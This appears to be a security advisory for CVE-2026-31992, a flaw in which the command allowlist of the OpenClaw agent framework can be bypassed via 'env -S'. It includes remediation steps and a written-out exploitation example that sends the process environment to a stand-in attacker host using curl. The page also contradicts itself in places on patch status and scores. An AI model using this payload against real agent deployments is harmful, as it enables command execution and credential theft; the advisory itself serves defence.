CVE-2026-31992: OpenClaw: guardrail allowlist bypass enables arbitrary command execution
HIGHOpenClaw versions prior to 2026.2.23 have a flaw in the system.run guardrail mechanism where allowlisting /usr/bin/env — a common operational necessity — lets any authenticated operator invoke env -S to smuggle arbitrary shell payloads past the policy analysis engine, bypassing the intended security control entirely. At CVSS 7.1 with network access, low complexity, and no user interaction required, this is a low-barrier exploit for any credentialed operator; EPSS places it in the top 74th percentile for exploitation likelihood, and with 396 historical CVEs in this package the attack surface is well-understood by researchers. No public exploit or CISA KEV listing yet, but the technique requires no AI/ML expertise — any operator with basic shell knowledge can abuse it. Patch to 2026.2.23 immediately; as an interim measure, remove /usr/bin/env from all system.run allowlists and audit for other env-wrapper binaries such as /usr/bin/env3 or similar.
What is the risk?
High risk for organizations running OpenClaw-based AI agent pipelines with system.run guardrails enabled. The allowlist bypass is trivial once the technique is known — env -S is a standard POSIX feature, not a novel exploit primitive. Low privileges required means any authenticated operator account (including service accounts or compromised credentials) is a viable attack vector. AI agent frameworks typically run with elevated system permissions to perform agentic tasks, so arbitrary command execution within the agent process often translates to significant lateral movement potential. The 396 prior CVEs in this package suggests a historically poor security posture; organizations should evaluate whether OpenClaw's security track record meets their risk tolerance for production agentic deployments.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| OpenClaw | pip | — | No patch |
Do you use OpenClaw? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Patch to OpenClaw 2026.2.23 or later using the commits a1c4bf07 and 3f923e83 as reference for scope. 2) Immediate workaround if patching is blocked: remove /usr/bin/env from all system.run allowlists; review the full allowlist for other interpreter or wrapper binaries (python, bash, sh, perl, ruby) that accept flag-based argument injection. 3) Audit system.run call logs for historical env -S patterns — search for the string '-S' in command arguments logged by OpenClaw. 4) Scope blast radius by reviewing what system permissions the OpenClaw process runs with and which credentials are present in its environment; rotate any secrets that may have been accessible. 5) If OpenClaw is exposed via an API or multi-tenant interface, treat any operator-level session token issued before patching as potentially compromised.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-31992?
OpenClaw versions prior to 2026.2.23 have a flaw in the system.run guardrail mechanism where allowlisting /usr/bin/env — a common operational necessity — lets any authenticated operator invoke env -S to smuggle arbitrary shell payloads past the policy analysis engine, bypassing the intended security control entirely. At CVSS 7.1 with network access, low complexity, and no user interaction required, this is a low-barrier exploit for any credentialed operator; EPSS places it in the top 74th percentile for exploitation likelihood, and with 396 historical CVEs in this package the attack surface is well-understood by researchers. No public exploit or CISA KEV listing yet, but the technique requires no AI/ML expertise — any operator with basic shell knowledge can abuse it. Patch to 2026.2.23 immediately; as an interim measure, remove /usr/bin/env from all system.run allowlists and audit for other env-wrapper binaries such as /usr/bin/env3 or similar.
Is CVE-2026-31992 actively exploited?
No confirmed active exploitation of CVE-2026-31992 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-31992?
1) Patch to OpenClaw 2026.2.23 or later using the commits a1c4bf07 and 3f923e83 as reference for scope. 2) Immediate workaround if patching is blocked: remove /usr/bin/env from all system.run allowlists; review the full allowlist for other interpreter or wrapper binaries (python, bash, sh, perl, ruby) that accept flag-based argument injection. 3) Audit system.run call logs for historical env -S patterns — search for the string '-S' in command arguments logged by OpenClaw. 4) Scope blast radius by reviewing what system permissions the OpenClaw process runs with and which credentials are present in its environment; rotate any secrets that may have been accessible. 5) If OpenClaw is exposed via an API or multi-tenant interface, treat any operator-level session token issued before patching as potentially compromised.
What systems are affected by CVE-2026-31992?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI orchestration platforms, automated task execution pipelines, multi-tenant AI agent deployments.
What is the CVSS score for CVE-2026-31992?
CVE-2026-31992 has a CVSS v3.1 base score of 7.1 (HIGH). The EPSS exploitation probability is 0.34%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
What are the technical details?
Original Advisory
OpenClaw versions prior to 2026.2.23 contain an allowlist bypass vulnerability in system.run guardrails that allows authenticated operators to execute unintended commands. When /usr/bin/env is allowlisted, attackers can use env -S to bypass policy analysis and execute shell wrapper payloads at runtime.
Exploitation Scenario
An adversary obtains low-privilege operator credentials — through credential stuffing, phishing, or a compromised service account — for an OpenClaw deployment where the security team allowlisted /usr/bin/env to support legitimate tooling. The attacker sends a crafted system.run invocation: env -S 'bash -c "curl http://attacker.com/exfil -d @/proc/self/environ"'. The guardrail policy engine evaluates the call against the allowlist, sees /usr/bin/env as permitted, and passes it through without analyzing the -S flag payload. At runtime, env interprets -S as a directive to parse the remainder as a full command string, executing the embedded bash payload. The agent process — likely running with cloud credentials and internal network access — now functions as a beachhead for credential harvesting and lateral movement across the AI infrastructure.
Weaknesses (CWE)
CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
- [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L References
- github.com/openclaw/openclaw/commit/3f923e831364d83d0f23499ee49961de334cf58b patch
- github.com/openclaw/openclaw/commit/a1c4bf07c6baad3ef87a0e710fe9aef127b1f606 patch
- github.com/openclaw/openclaw/security/advisories/GHSA-48wf-g7cp-gr3m vendor-advisory
- vulncheck.com/advisories/openclaw-allowlist-exec-guard-bypass-via-env-s third-party-advisory
Timeline
Related Vulnerabilities
CVE-2026-33579 9.9 OpenClaw: scope bypass escalates low-priv to admin
Same package: openclaw CVE-2026-32922 9.9 OpenClaw: privilege escalation to RCE via token scope bypass
Same package: openclaw CVE-2026-30741 9.8 OpenClaw: RCE via request-side prompt injection
Same package: openclaw CVE-2026-32038 9.8 OpenClaw: sandbox bypass enables container lateral movement
Same package: openclaw CVE-2026-53838 9.8 OpenClaw: approval scope bypass via reconnection state
Same package: openclaw